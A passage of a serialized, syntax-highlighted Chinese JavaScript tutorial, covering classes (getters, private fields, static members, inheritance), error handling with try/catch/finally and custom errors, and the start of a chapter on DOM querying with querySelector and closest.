null」的查找路径就是",[17,68054,68055],{},"原型链","。方法只存一份放在原型上，而不是每个实例复制一份，这是它省内存的原因。",[53,68058,68060],{"id":68059},"getter把算出来的值伪装成属性","getter：把「算出来的值」伪装成属性",[308,68062,68064],{"className":942,"code":68063,"language":944,"meta":314,"style":314},"class User {\n  \u002F\u002F …constructor 同上\n  get profile() {\n    return `${this.name}（${this.age} 岁）`\n  }\n}\n\nalice.profile   \u002F\u002F '阿蓝（28 岁）'——写法像读属性，实际执行函数\n",[22,68065,68066,68074,68079,68087,68111,68115,68119,68123],{"__ignoreMap":314},[331,68067,68068,68070,68072],{"class":333,"line":334},[331,68069,24306],{"class":616},[331,68071,67810],{"class":501},[331,68073,1100],{"class":337},[331,68075,68076],{"class":333,"line":341},[331,68077,68078],{"class":1003},"  \u002F\u002F …constructor 同上\n",[331,68080,68081,68083,68085],{"class":333,"line":357},[331,68082,21680],{"class":616},[331,68084,13775],{"class":501},[331,68086,1072],{"class":337},[331,68088,68089,68091,68093,68095,68097,68099,68102,68104,68106,68108],{"class":333,"line":371},[331,68090,1545],{"class":616},[331,68092,66848],{"class":365},[331,68094,18040],{"class":344},[331,68096,1192],{"class":365},[331,68098,1900],{"class":337},[331,68100,68101],{"class":365},"}（${",[331,68103,18040],{"class":344},[331,68105,1192],{"class":365},[331,68107,67295],{"class":337},[331,68109,68110],{"class":365},"} 岁）`\n",[331,68112,68113],{"class":333,"line":384},[331,68114,453],{"class":337},[331,68116,68117],{"class":333,"line":397},[331,68118,459],{"class":337},[331,68120,68121],{"class":333,"line":418},[331,68122,998],{"emptyLinePlaceholder":997},[331,68124,68125,68128],{"class":333,"line":427},[331,68126,68127],{"class":337},"alice.profile   ",[331,68129,68130],{"class":1003},"\u002F\u002F '阿蓝（28 岁）'——写法像读属性，实际执行函数\n",[11,68132,68133,68134,68137,68138,68141],{},"getter 适合",[17,68135,68136],{},"由已有数据派生","的值：不存副本、每次读取实时计算，也就不会出现「改了 name 却忘了同步副本」的不一致。setter（",[22,68139,68140],{},"set profile(v) { … }","）同理，把一次赋值变成校验或转换的入口。",[53,68143,68145,68146,68148],{"id":68144},"私有字段-开头","私有字段：",[22,68147,20333],{}," 开头",[11,68150,68151,68152,68154],{},"第七章用闭包实现过「外部改不了」的私有状态，语言的现代方案是 ",[22,68153,20333],{}," 字段：",[308,68156,68158],{"className":942,"code":68157,"language":944,"meta":314,"style":314},"class Counter {\n  #count = 0                    \u002F\u002F 私有字段：# 开头\n  increment() { return ++this.#count }\n}\n\nconst c = new Counter()\nc.increment()   \u002F\u002F 1\nc.count         \u002F\u002F undefined——外部读不到 #count\nc.#count        \u002F\u002F 语法错误：类外部根本写不出这个表达式\n",[22,68159,68160,68169,68181,68198,68202,68206,68220,68232,68240],{"__ignoreMap":314},[331,68161,68162,68164,68167],{"class":333,"line":334},[331,68163,24306],{"class":616},[331,68165,68166],{"class":501}," Counter",[331,68168,1100],{"class":337},[331,68170,68171,68174,68176,68178],{"class":333,"line":341},[331,68172,68173],{"class":2472},"  #count",[331,68175,957],{"class":616},[331,68177,680],{"class":344},[331,68179,68180],{"class":1003},"                    \u002F\u002F 私有字段：# 开头\n",[331,68182,68183,68186,68188,68190,68193,68195],{"class":333,"line":357},[331,68184,68185],{"class":501},"  increment",[331,68187,17990],{"class":337},[331,68189,10859],{"class":616},[331,68191,68192],{"class":616}," ++",[331,68194,18040],{"class":344},[331,68196,68197],{"class":337},".#count }\n",[331,68199,68200],{"class":333,"line":371},[331,68201,459],{"class":337},[331,68203,68204],{"class":333,"line":384},[331,68205,998],{"emptyLinePlaceholder":997},[331,68207,68208,68210,68212,68214,68216,68218],{"class":333,"line":397},[331,68209,951],{"class":616},[331,68211,67556],{"class":344},[331,68213,957],{"class":616},[331,68215,1214],{"class":616},[331,68217,68166],{"class":501},[331,68219,1540],{"class":337},[331,68221,68222,68225,68228,68230],{"class":333,"line":418},[331,68223,68224],{"class":337},"c.",[331,68226,68227],{"class":501},"increment",[331,68229,32115],{"class":337},[331,68231,65096],{"class":1003},[331,68233,68234,68237],{"class":333,"line":427},[331,68235,68236],{"class":337},"c.count         ",[331,68238,68239],{"class":1003},"\u002F\u002F undefined——外部读不到 #count\n",[331,68241,68242,68245],{"class":333,"line":439},[331,68243,68244],{"class":337},"c.#count        ",[331,68246,68247],{"class":1003},"\u002F\u002F 语法错误：类外部根本写不出这个表达式\n",[11,68249,68250,68252],{},[22,68251,20333],{}," 不是命名约定，是语法层面的封闭：外部看不见、改不动，只有类自己的方法能碰。余额、口令这类「绝不外泄」的数据就用它包装。",[53,68254,68256],{"id":68255},"static属于类整体不属于实例的成员","static：属于类整体、不属于实例的成员",[308,68258,68260],{"className":942,"code":68259,"language":944,"meta":314,"style":314},"class User {\n  static population = 0   \u002F\u002F 静态字段\n  constructor(name) {\n    this.name = name\n    User.population++\n  }\n}\n\nUser.population   \u002F\u002F 3——问类要，不是问实例要\nalice.population  \u002F\u002F undefined——实例身上没有\n",[22,68261,68262,68270,68285,68295,68306,68314,68318,68322,68326,68334],{"__ignoreMap":314},[331,68263,68264,68266,68268],{"class":333,"line":334},[331,68265,24306],{"class":616},[331,68267,67810],{"class":501},[331,68269,1100],{"class":337},[331,68271,68272,68275,68278,68280,68282],{"class":333,"line":341},[331,68273,68274],{"class":616},"  static",[331,68276,68277],{"class":2472}," population",[331,68279,957],{"class":616},[331,68281,680],{"class":344},[331,68283,68284],{"class":1003},"   \u002F\u002F 静态字段\n",[331,68286,68287,68289,68291,68293],{"class":333,"line":357},[331,68288,67817],{"class":616},[331,68290,966],{"class":337},[331,68292,1900],{"class":2472},[331,68294,2476],{"class":337},[331,68296,68297,68299,68301,68303],{"class":333,"line":371},[331,68298,67832],{"class":344},[331,68300,67835],{"class":337},[331,68302,518],{"class":616},[331,68304,68305],{"class":337}," name\n",[331,68307,68308,68311],{"class":333,"line":384},[331,68309,68310],{"class":337},"    User.population",[331,68312,68313],{"class":616},"++\n",[331,68315,68316],{"class":333,"line":397},[331,68317,453],{"class":337},[331,68319,68320],{"class":333,"line":418},[331,68321,459],{"class":337},[331,68323,68324],{"class":333,"line":427},[331,68325,998],{"emptyLinePlaceholder":997},[331,68327,68328,68331],{"class":333,"line":439},[331,68329,68330],{"class":337},"User.population   ",[331,68332,68333],{"class":1003},"\u002F\u002F 3——问类要，不是问实例要\n",[331,68335,68336,68339],{"class":333,"line":450},[331,68337,68338],{"class":337},"alice.population  ",[331,68340,68341],{"class":1003},"\u002F\u002F undefined——实例身上没有\n",[11,68343,68344,68345,68348,68349,68352,68353,68356,68357,4813],{},"static 描述",[17,68346,68347],{},"类整体","的状态或工具：实例计数、",[22,68350,68351],{},"User.fromJSON()"," 这样的工厂方法、配置常量。判断标准：这件事跟某一个实例有关（",[22,68354,68355],{},"alice.greet()","），还是跟类整体有关（",[22,68358,68359],{},"User.population",[53,68361,68363],{"id":68362},"继承extends-与-super","继承：extends 与 super",[308,68365,68367],{"className":942,"code":68366,"language":944,"meta":314,"style":314},"class Admin extends User {\n  constructor(name, age, level) {\n    super(name, age)          \u002F\u002F 先调父类 constructor，把父类那半建好\n    this.level = level        \u002F\u002F 再补子类独有的属性\n  }\n  greet() {\n    return `${super.greet()}，也是管理员`   \u002F\u002F 覆盖父类方法，同时保留父类实现\n  }\n}\n\nconst admin = new Admin('青梧', 30, 3)\nadmin instanceof Admin   \u002F\u002F true\nadmin instanceof User    \u002F\u002F true——原型链把两代连在一起\nalice instanceof Admin   \u002F\u002F false——普通用户不是管理员\n",[22,68368,68369,68383,68402,68413,68428,68432,68438,68460,68464,68468,68472,68501,68514,68525],{"__ignoreMap":314},[331,68370,68371,68373,68376,68379,68381],{"class":333,"line":334},[331,68372,24306],{"class":616},[331,68374,68375],{"class":501}," Admin",[331,68377,68378],{"class":616}," extends",[331,68380,67810],{"class":501},[331,68382,1100],{"class":337},[331,68384,68385,68387,68389,68391,68393,68395,68397,68400],{"class":333,"line":341},[331,68386,67817],{"class":616},[331,68388,966],{"class":337},[331,68390,1900],{"class":2472},[331,68392,409],{"class":337},[331,68394,67295],{"class":2472},[331,68396,409],{"class":337},[331,68398,68399],{"class":2472},"level",[331,68401,2476],{"class":337},[331,68403,68404,68407,68410],{"class":333,"line":357},[331,68405,68406],{"class":344},"    super",[331,68408,68409],{"class":337},"(name, age)          ",[331,68411,68412],{"class":1003},"\u002F\u002F 先调父类 constructor，把父类那半建好\n",[331,68414,68415,68417,68420,68422,68425],{"class":333,"line":371},[331,68416,67832],{"class":344},[331,68418,68419],{"class":337},".level ",[331,68421,518],{"class":616},[331,68423,68424],{"class":337}," level        ",[331,68426,68427],{"class":1003},"\u002F\u002F 再补子类独有的属性\n",[331,68429,68430],{"class":333,"line":384},[331,68431,453],{"class":337},[331,68433,68434,68436],{"class":333,"line":397},[331,68435,67157],{"class":501},[331,68437,1072],{"class":337},[331,68439,68440,68442,68444,68447,68449,68451,68454,68457],{"class":333,"line":418},[331,68441,1545],{"class":616},[331,68443,66848],{"class":365},[331,68445,68446],{"class":344},"super",[331,68448,1192],{"class":365},[331,68450,63606],{"class":501},[331,68452,68453],{"class":365},"()",[331,68455,68456],{"class":365},"}，也是管理员`",[331,68458,68459],{"class":1003},"   \u002F\u002F 覆盖父类方法，同时保留父类实现\n",[331,68461,68462],{"class":333,"line":427},[331,68463,453],{"class":337},[331,68465,68466],{"class":333,"line":439},[331,68467,459],{"class":337},[331,68469,68470],{"class":333,"line":450},[331,68471,998],{"emptyLinePlaceholder":997},[331,68473,68474,68476,68479,68481,68483,68485,68487,68490,68492,68495,68497,68499],{"class":333,"line":456},[331,68475,951],{"class":616},[331,68477,68478],{"class":344}," admin",[331,68480,957],{"class":616},[331,68482,1214],{"class":616},[331,68484,68375],{"class":501},[331,68486,966],{"class":337},[331,68488,68489],{"class":365},"'青梧'",[331,68491,409],{"class":337},[331,68493,68494],{"class":344},"30",[331,68496,409],{"class":337},[331,68498,351],{"class":344},[331,68500,972],{"class":337},[331,68502,68503,68506,68509,68511],{"class":333,"line":775},[331,68504,68505],{"class":337},"admin ",[331,68507,68508],{"class":616},"instanceof",[331,68510,68375],{"class":501},[331,68512,68513],{"class":1003},"   \u002F\u002F true\n",[331,68515,68516,68518,68520,68522],{"class":333,"line":785},[331,68517,68505],{"class":337},[331,68519,68508],{"class":616},[331,68521,67810],{"class":501},[331,68523,68524],{"class":1003},"    \u002F\u002F true——原型链把两代连在一起\n",[331,68526,68527,68530,68532,68534],{"class":333,"line":795},[331,68528,68529],{"class":337},"alice ",[331,68531,68508],{"class":616},[331,68533,68375],{"class":501},[331,68535,68536],{"class":1003},"   \u002F\u002F false——普通用户不是管理员\n",[11,68538,68539,68540,68549],{},"子类 constructor 里有一条硬规则：",[17,68541,68542,68543,68546,68547],{},"必须先 ",[22,68544,68545],{},"super()"," 才能使用 ",[22,68548,18040],{},"——父类那半没建好之前，this 还不存在。子类不写 constructor 时，会自动调用父类 constructor。",[53,68551,68553],{"id":68552},"什么时候用-class","什么时候用 class",[1773,68555,68556,68562,68568],{},[1662,68557,12005,68558,68561],{},[17,68559,68560],{},"批量制造","结构相同、自带行为的对象（用户、订单、游戏角色）→ class",[1662,68563,68564,68565,68567],{},"只有一个存数据的",[17,68566,67786],{},"对象 → 对象字面量就够，不必包一层类",[1662,68569,68570],{},"一堆互相无状态的纯计算 → 普通函数或模块组织更合适",[11,68572,68573,68574,68576],{},"判断标准不是「高级不高级」，而是「有没有实例这回事」。没有 ",[22,68575,35155],{}," 的冲动，就用不着 class。",[4748,68578],{"height":4750,"src":68579,"title":68580},"\u002Ftutorials\u002Fjs\u002Fdemos\u002F11-class.html","示例 11：class、实例与原型链",[48,68582,68584],{"id":68583},"十二错误处理错了以后怎么办","十二、错误处理：错了以后怎么办",[11,68586,68587],{},"程序出错不可怕，怕的是出错后现场消失：页面白屏、按钮没反应，控制台一行红字，然后呢？错误处理就是给「出问题时」提前写好剧本——哪一步可能失败、失败后给什么替代结果、哪些错必须留证据给人看。",[53,68589,68591],{"id":68590},"错误是对象error-自带现场信息","错误是对象：Error 自带现场信息",[308,68593,68595],{"className":942,"code":68594,"language":944,"meta":314,"style":314},"try {\n  JSON.parse('{oops}')\n} catch (err) {\n  err.name      \u002F\u002F 'SyntaxError'\n  err.message   \u002F\u002F 'Unexpected token o in JSON…'（措辞各浏览器略有差异）\n  err.stack     \u002F\u002F 从出错点出发的完整调用栈快照\n}\n",[22,68596,68597,68603,68619,68628,68636,68644,68652],{"__ignoreMap":314},[331,68598,68599,68601],{"class":333,"line":334},[331,68600,9449],{"class":616},[331,68602,1100],{"class":337},[331,68604,68605,68608,68610,68612,68614,68617],{"class":333,"line":341},[331,68606,68607],{"class":344},"  JSON",[331,68609,1192],{"class":337},[331,68611,21019],{"class":501},[331,68613,966],{"class":337},[331,68615,68616],{"class":365},"'{oops}'",[331,68618,972],{"class":337},[331,68620,68621,68623,68625],{"class":333,"line":357},[331,68622,9474],{"class":337},[331,68624,1317],{"class":616},[331,68626,68627],{"class":337}," (err) {\n",[331,68629,68630,68633],{"class":333,"line":371},[331,68631,68632],{"class":337},"  err.name      ",[331,68634,68635],{"class":1003},"\u002F\u002F 'SyntaxError'\n",[331,68637,68638,68641],{"class":333,"line":384},[331,68639,68640],{"class":337},"  err.message   ",[331,68642,68643],{"class":1003},"\u002F\u002F 'Unexpected token o in JSON…'（措辞各浏览器略有差异）\n",[331,68645,68646,68649],{"class":333,"line":397},[331,68647,68648],{"class":337},"  err.stack     ",[331,68650,68651],{"class":1003},"\u002F\u002F 从出错点出发的完整调用栈快照\n",[331,68653,68654],{"class":333,"line":418},[331,68655,459],{"class":337},[11,68657,68658,68659,68661,68662,68664,68665,68668],{},"try 块里任意一句抛错，本块剩下的都不执行，立刻跳到 catch；catch 跑完，程序从整个 try\u002Fcatch 之后继续。",[22,68660,1900],{}," 是错误类型，",[22,68663,1338],{}," 是人话描述，",[22,68666,68667],{},"stack"," 是调试时最有价值的部分——顺着它能找到谁一路调用到这个出错点。",[53,68670,68672],{"id":68671},"throw主动把错误扔出去","throw：主动把错误扔出去",[308,68674,68676],{"className":942,"code":68675,"language":944,"meta":314,"style":314},"function divide(a, b) {\n  if (b === 0) throw new RangeError('除数不能为 0')\n  return a \u002F b\n}\n",[22,68677,68678,68694,68720,68730],{"__ignoreMap":314},[331,68679,68680,68682,68684,68686,68688,68690,68692],{"class":333,"line":334},[331,68681,3047],{"class":616},[331,68683,64557],{"class":501},[331,68685,966],{"class":337},[331,68687,30],{"class":2472},[331,68689,409],{"class":337},[331,68691,22158],{"class":2472},[331,68693,2476],{"class":337},[331,68695,68696,68698,68700,68702,68704,68706,68708,68710,68713,68715,68718],{"class":333,"line":341},[331,68697,1526],{"class":616},[331,68699,64574],{"class":337},[331,68701,2625],{"class":616},[331,68703,680],{"class":344},[331,68705,3180],{"class":337},[331,68707,2507],{"class":616},[331,68709,1214],{"class":616},[331,68711,68712],{"class":501}," RangeError",[331,68714,966],{"class":337},[331,68716,68717],{"class":365},"'除数不能为 0'",[331,68719,972],{"class":337},[331,68721,68722,68724,68726,68728],{"class":333,"line":357},[331,68723,1633],{"class":616},[331,68725,31001],{"class":337},[331,68727,655],{"class":616},[331,68729,60756],{"class":337},[331,68731,68732],{"class":333,"line":371},[331,68733,459],{"class":337},[11,68735,68736,68738,68739,68742,68743,68746],{},[22,68737,2507],{}," 后面可以跟任何值，但",[17,68740,68741],{},"永远抛 Error 实例","：只有它自带 name \u002F message \u002F stack，能被工具链识别。抛裸字符串（",[22,68744,68745],{},"throw '出错啦'","）会让 catch 方无从下手。",[53,68748,68750],{"id":68749},"try-catch-finally完整形态","try \u002F catch \u002F finally：完整形态",[308,68752,68754],{"className":942,"code":68753,"language":944,"meta":314,"style":314},"function readSetting(key) {\n  let text\n  try {\n    text = localStorage.getItem(key)\n    return text === null ? null : JSON.parse(text)\n  } catch (err) {\n    console.warn('读设置失败，用默认值', err.message)\n    return null\n  } finally {\n    console.log('无论成败都会执行')   \u002F\u002F 释放资源、收尾的工作放这里\n  }\n}\n",[22,68755,68756,68769,68776,68782,68796,68822,68830,68844,68851,68859,68875,68879],{"__ignoreMap":314},[331,68757,68758,68760,68763,68765,68767],{"class":333,"line":334},[331,68759,3047],{"class":616},[331,68761,68762],{"class":501}," readSetting",[331,68764,966],{"class":337},[331,68766,8230],{"class":2472},[331,68768,2476],{"class":337},[331,68770,68771,68773],{"class":333,"line":341},[331,68772,29344],{"class":616},[331,68774,68775],{"class":337}," text\n",[331,68777,68778,68780],{"class":333,"line":357},[331,68779,1097],{"class":616},[331,68781,1100],{"class":337},[331,68783,68784,68787,68789,68791,68793],{"class":333,"line":371},[331,68785,68786],{"class":337},"    text ",[331,68788,518],{"class":616},[331,68790,14040],{"class":337},[331,68792,29373],{"class":501},[331,68794,68795],{"class":337},"(key)\n",[331,68797,68798,68800,68803,68805,68807,68809,68811,68813,68815,68817,68819],{"class":333,"line":384},[331,68799,1545],{"class":616},[331,68801,68802],{"class":337}," text ",[331,68804,2625],{"class":616},[331,68806,13865],{"class":344},[331,68808,2631],{"class":616},[331,68810,13865],{"class":344},[331,68812,2636],{"class":616},[331,68814,21014],{"class":344},[331,68816,1192],{"class":337},[331,68818,21019],{"class":501},[331,68820,68821],{"class":337},"(text)\n",[331,68823,68824,68826,68828],{"class":333,"line":397},[331,68825,1314],{"class":337},[331,68827,1317],{"class":616},[331,68829,68627],{"class":337},[331,68831,68832,68834,68836,68838,68841],{"class":333,"line":418},[331,68833,3530],{"class":337},[331,68835,29450],{"class":501},[331,68837,966],{"class":337},[331,68839,68840],{"class":365},"'读设置失败，用默认值'",[331,68842,68843],{"class":337},", err.message)\n",[331,68845,68846,68848],{"class":333,"line":427},[331,68847,1545],{"class":616},[331,68849,68850],{"class":344}," null\n",[331,68852,68853,68855,68857],{"class":333,"line":439},[331,68854,1314],{"class":337},[331,68856,1362],{"class":616},[331,68858,1100],{"class":337},[331,68860,68861,68863,68865,68867,68870,68872],{"class":333,"line":450},[331,68862,3530],{"class":337},[331,68864,3533],{"class":501},[331,68866,966],{"class":337},[331,68868,68869],{"class":365},"'无论成败都会执行'",[331,68871,62134],{"class":337},[331,68873,68874],{"class":1003},"\u002F\u002F 释放资源、收尾的工作放这里\n",[331,68876,68877],{"class":333,"line":456},[331,68878,453],{"class":337},[331,68880,68881],{"class":333,"line":775},[331,68882,459],{"class":337},[11,68884,68885,68886,68889],{},"finally 的特别之处：",[17,68887,68888],{},"即使 try 里写了 return，它也先执行完","（返回值先被暂存，finally 跑完才真正返回）。连接、文件句柄这类「用完必须关」的东西放 finally 里。",[53,68891,68892],{"id":68892},"内置错误类型与自定义错误",[11,68894,68895,68896,68899,68900,68902,68903,68906,68907,68910,68911,68914,68915,68918],{},"常见类型：",[22,68897,68898],{},"TypeError","（对 null 读属性、调用了非函数）、",[22,68901,62582],{},"（变量不存在）、",[22,68904,68905],{},"RangeError","（数值越界）、",[22,68908,68909],{},"SyntaxError","。要区分两种情况：",[17,68912,68913],{},"代码本体","的语法错误在解析阶段就挂了，try\u002Fcatch 根本拦不到；而 ",[22,68916,68917],{},"JSON.parse"," 收到坏数据时抛的 SyntaxError 是运行时的，能拦。",[11,68920,68921],{},"业务错误则继承 Error 自己定义：",[308,68923,68925],{"className":942,"code":68924,"language":944,"meta":314,"style":314},"class ValidationError extends Error {\n  constructor(field, message) {\n    super(message)                 \u002F\u002F Error 负责装好 message \u002F stack\n    this.name = 'ValidationError'  \u002F\u002F 覆盖默认的 'Error'\n    this.field = field             \u002F\u002F 自定义信息：出错的是哪个字段\n  }\n}\n\ntry {\n  validate(input)\n} catch (err) {\n  if (err instanceof ValidationError) {\n    showFieldError(err.field, err.message)   \u002F\u002F 认识的错误 → 就地处理\n  } else {\n    throw err                                \u002F\u002F 不认识的 → 原样再抛\n  }\n}\n",[22,68926,68927,68940,68955,68965,68979,68994,68998,69002,69006,69012,69019,69027,69040,69051,69060,69071,69075],{"__ignoreMap":314},[331,68928,68929,68931,68934,68936,68938],{"class":333,"line":334},[331,68930,24306],{"class":616},[331,68932,68933],{"class":501}," ValidationError",[331,68935,68378],{"class":616},[331,68937,1217],{"class":501},[331,68939,1100],{"class":337},[331,68941,68942,68944,68946,68949,68951,68953],{"class":333,"line":341},[331,68943,67817],{"class":616},[331,68945,966],{"class":337},[331,68947,68948],{"class":2472},"field",[331,68950,409],{"class":337},[331,68952,1338],{"class":2472},[331,68954,2476],{"class":337},[331,68956,68957,68959,68962],{"class":333,"line":357},[331,68958,68406],{"class":344},[331,68960,68961],{"class":337},"(message)                 ",[331,68963,68964],{"class":1003},"\u002F\u002F Error 负责装好 message \u002F stack\n",[331,68966,68967,68969,68971,68973,68976],{"class":333,"line":371},[331,68968,67832],{"class":344},[331,68970,67835],{"class":337},[331,68972,518],{"class":616},[331,68974,68975],{"class":365}," 'ValidationError'",[331,68977,68978],{"class":1003},"  \u002F\u002F 覆盖默认的 'Error'\n",[331,68980,68981,68983,68986,68988,68991],{"class":333,"line":384},[331,68982,67832],{"class":344},[331,68984,68985],{"class":337},".field ",[331,68987,518],{"class":616},[331,68989,68990],{"class":337}," field             ",[331,68992,68993],{"class":1003},"\u002F\u002F 自定义信息：出错的是哪个字段\n",[331,68995,68996],{"class":333,"line":397},[331,68997,453],{"class":337},[331,68999,69000],{"class":333,"line":418},[331,69001,459],{"class":337},[331,69003,69004],{"class":333,"line":427},[331,69005,998],{"emptyLinePlaceholder":997},[331,69007,69008,69010],{"class":333,"line":439},[331,69009,9449],{"class":616},[331,69011,1100],{"class":337},[331,69013,69014,69016],{"class":333,"line":450},[331,69015,6531],{"class":501},[331,69017,69018],{"class":337},"(input)\n",[331,69020,69021,69023,69025],{"class":333,"line":456},[331,69022,9474],{"class":337},[331,69024,1317],{"class":616},[331,69026,68627],{"class":337},[331,69028,69029,69031,69034,69036,69038],{"class":333,"line":775},[331,69030,1526],{"class":616},[331,69032,69033],{"class":337}," (err ",[331,69035,68508],{"class":616},[331,69037,68933],{"class":501},[331,69039,2476],{"class":337},[331,69041,69042,69045,69048],{"class":333,"line":785},[331,69043,69044],{"class":501},"    showFieldError",[331,69046,69047],{"class":337},"(err.field, err.message)   ",[331,69049,69050],{"class":1003},"\u002F\u002F 认识的错误 → 就地处理\n",[331,69052,69053,69055,69058],{"class":333,"line":795},[331,69054,1314],{"class":337},[331,69056,69057],{"class":616},"else",[331,69059,1100],{"class":337},[331,69061,69062,69065,69068],{"class":333,"line":805},[331,69063,69064],{"class":616},"    throw",[331,69066,69067],{"class":337}," err                                ",[331,69069,69070],{"class":1003},"\u002F\u002F 不认识的 → 原样再抛\n",[331,69072,69073],{"class":333,"line":819},[331,69074,453],{"class":337},[331,69076,69077],{"class":333,"line":850},[331,69078,459],{"class":337},[11,69080,69081,69082,69084],{},"自定义错误的价值在于「抛出方和捕获方有了约定」：",[22,69083,68508],{}," 一判，字段名、错误文案都在，提示就能精确落到那一个输入框上。",[53,69086,69088],{"id":69087},"捕获的分寸只处理你懂的错","捕获的分寸：只处理你懂的错",[1773,69090,69091,69097,69106,69115],{},[1662,69092,69093,69096],{},[17,69094,69095],{},"认识的错误就处理","：给用户一个能走下去的结果（默认值、字段提示）",[1662,69098,69099,69105],{},[17,69100,69101,69102],{},"不认识的错误原样 ",[22,69103,69104],{},"throw err","：里面可能藏着程序 bug，别假装没事",[1662,69107,69108,322,69111,69114],{},[17,69109,69110],{},"绝不空 catch",[22,69112,69113],{},"catch {}"," 把现场直接抹掉，是日后最难查的 bug 来源",[1662,69116,69117,69118,69121],{},"能提前判断的别拿异常当流程控制：",[22,69119,69120],{},"if (b === 0) return null"," 比 try\u002Fcatch 更直白，异常留给「意外」",[4748,69123],{"height":5635,"src":69124,"title":69125},"\u002Ftutorials\u002Fjs\u002Fdemos\u002F12-errors.html","示例 12：try \u002F catch \u002F throw 与自定义错误",[48,69127,69129],{"id":69128},"十三dom-查询怎么在页面里找到元素","十三、DOM 查询：怎么在页面里找到元素",[11,69131,69132],{},"第一章讲过浏览器把 HTML 解析成 DOM 树，从这一章开始 JavaScript 正式接管这棵树。第一步是「找到元素」——找不到，后面什么都改不了。",[53,69134,69136],{"id":69135},"两个主力queryselector-与-queryselectorall","两个主力：querySelector 与 querySelectorAll",[308,69138,69140],{"className":942,"code":69139,"language":944,"meta":314,"style":314},"document.querySelector('.card')       \u002F\u002F 第一个匹配 → 元素；找不到 → null\ndocument.querySelectorAll('.card')    \u002F\u002F 全部匹配 → NodeList；找不到 → 空集合\ndocument.getElementById('staff-list') \u002F\u002F 按 id 直取\n",[22,69141,69142,69159,69175],{"__ignoreMap":314},[331,69143,69144,69147,69149,69151,69154,69156],{"class":333,"line":334},[331,69145,69146],{"class":337},"document.",[331,69148,963],{"class":501},[331,69150,966],{"class":337},[331,69152,69153],{"class":365},"'.card'",[331,69155,20939],{"class":337},[331,69157,69158],{"class":1003},"\u002F\u002F 第一个匹配 → 元素；找不到 → null\n",[331,69160,69161,69163,69166,69168,69170,69172],{"class":333,"line":341},[331,69162,69146],{"class":337},[331,69164,69165],{"class":501},"querySelectorAll",[331,69167,966],{"class":337},[331,69169,69153],{"class":365},[331,69171,65877],{"class":337},[331,69173,69174],{"class":1003},"\u002F\u002F 全部匹配 → NodeList；找不到 → 空集合\n",[331,69176,69177,69179,69181,69183,69186,69188],{"class":333,"line":357},[331,69178,69146],{"class":337},[331,69180,1518],{"class":501},[331,69182,966],{"class":337},[331,69184,69185],{"class":365},"'staff-list'",[331,69187,3180],{"class":337},[331,69189,69190],{"class":1003},"\u002F\u002F 按 id 直取\n",[11,69192,69193,69194,272,69197,272,69200,272,69203,69206,69207,69210],{},"括号里写的就是 CSS 教程里那套选择器，原样搬来：",[22,69195,69196],{},".tag",[22,69198,69199],{},"#list",[22,69201,69202],{},"li.card",[22,69204,69205],{},"[data-role=\"backend\"]","，还能组合 ",[22,69208,69209],{},"ul > li:first-child","。CSS 学过的选择器知识在这里全额复用。",[11,69212,69213],{},"两个高频要点：",[1773,69215,69216,69230],{},[1662,69217,69218,69220,69221,69223,69224,69227,69228],{},[22,69219,963],{}," 找不到返回 ",[22,69222,5858],{},"——习惯写法是先判空再操作（",[22,69225,69226],{},"if (!el) return","），或者随手 ",[22,69229,63584],{},[1662,69231,69232,69234,69235,69238,69239,69242,69243,69245,69246,1901,69248,69250,69251],{},[22,69233,69165],{}," 返回的 ",[17,69236,69237],{},"NodeList 不是数组","：有 ",[22,69240,69241],{},"forEach","、能 ",[22,69244,27395],{},"，但没有 ",[22,69247,10198],{},[22,69249,21587],{},"；要加工先 ",[22,69252,69253],{},"Array.from()",[53,69255,69257],{"id":69256},"顺着关系走别只会从-document-全局查","顺着关系走，别只会从 document 全局查",[308,69259,69261],{"className":942,"code":69260,"language":944,"meta":314,"style":314},"const list = document.getElementById('staff-list')\nlist.children.length         \u002F\u002F 子元素个数（只算元素，不含文本节点）\nlist.firstElementChild       \u002F\u002F 第一个子元素\ncard.parentElement           \u002F\u002F 父元素\ncard.nextElementSibling      \u002F\u002F 下一个兄弟元素\n",[22,69262,69263,69281,69291,69299,69307],{"__ignoreMap":314},[331,69264,69265,69267,69269,69271,69273,69275,69277,69279],{"class":333,"line":334},[331,69266,951],{"class":616},[331,69268,10160],{"class":344},[331,69270,957],{"class":616},[331,69272,960],{"class":337},[331,69274,1518],{"class":501},[331,69276,966],{"class":337},[331,69278,69185],{"class":365},[331,69280,972],{"class":337},[331,69282,69283,69286,69288],{"class":333,"line":341},[331,69284,69285],{"class":337},"list.children.",[331,69287,10192],{"class":344},[331,69289,69290],{"class":1003},"         \u002F\u002F 子元素个数（只算元素，不含文本节点）\n",[331,69292,69293,69296],{"class":333,"line":357},[331,69294,69295],{"class":337},"list.firstElementChild       ",[331,69297,69298],{"class":1003},"\u002F\u002F 第一个子元素\n",[331,69300,69301,69304],{"class":333,"line":371},[331,69302,69303],{"class":337},"card.parentElement           ",[331,69305,69306],{"class":1003},"\u002F\u002F 父元素\n",[331,69308,69309,69312],{"class":333,"line":384},[331,69310,69311],{"class":337},"card.nextElementSibling      ",[331,69313,69314],{"class":1003},"\u002F\u002F 下一个兄弟元素\n",[11,69316,69317,69318,69320],{},"从一个大容器出发逐层缩小范围，比从 ",[22,69319,140],{}," 全查更准（页面别处有同名 class 也不会串）也更快。",[53,69322,69324],{"id":69323},"closest-与-matches向上找与自我判断","closest 与 matches：向上找与自我判断",[308,69326,69328],{"className":942,"code":69327,"language":944,"meta":314,"style":314},"span.closest('.card')       \u002F\u002F 从自己出发逐层向上，返回第一个匹配的祖先；找不到 → null\ncard.matches('.highlight')  \u002F\u002F 我匹配这个选择器吗 → true \u002F false\n",[22,69329,69330,69347],{"__ignoreMap":314},[331,69331,69332,69335,69338,69340,69342,69344],{"class":333,"line":334},[331,69333,69334],{"class":337},"span.",[331,69336,69337],{"class":501},"closest",[331,69339,966],{"class":337},[331,69341,69153],{"class":365},[331,69343,20939],{"class":337},[331,69345,69346],{"class":1003},"\u002F\u002F 从自己出发逐层向上，返回第一个匹配的祖先；找不到 → null\n",[331,69348,69349,69352,69354,69356,69359,69361],{"class":333,"line":341},[331,69350,69351],{"class":337},"card.",[331,69353,1977],{"class":501},[331,69355,966],{"class":337},[331,69357,69358],{"class":365},"'.highlight'",[331,69360,66281],{"class":337},[331,69362,69363],{"class":1003},"\u002F\u002F 我匹配这个选择器吗 → true \u002F false\n",[11,69365,69366,69368,69369,69372],{},[22,69367,69337],{}," 是第十五章「事件委托」的核心工具：不管点中卡片内部多深的小元素，",[22,69370,69371],{},"closest('.card')"," 总能把你带回那张卡。",[53,69374,69376],{"id":69375},"live-集合与静态快照别记混","live 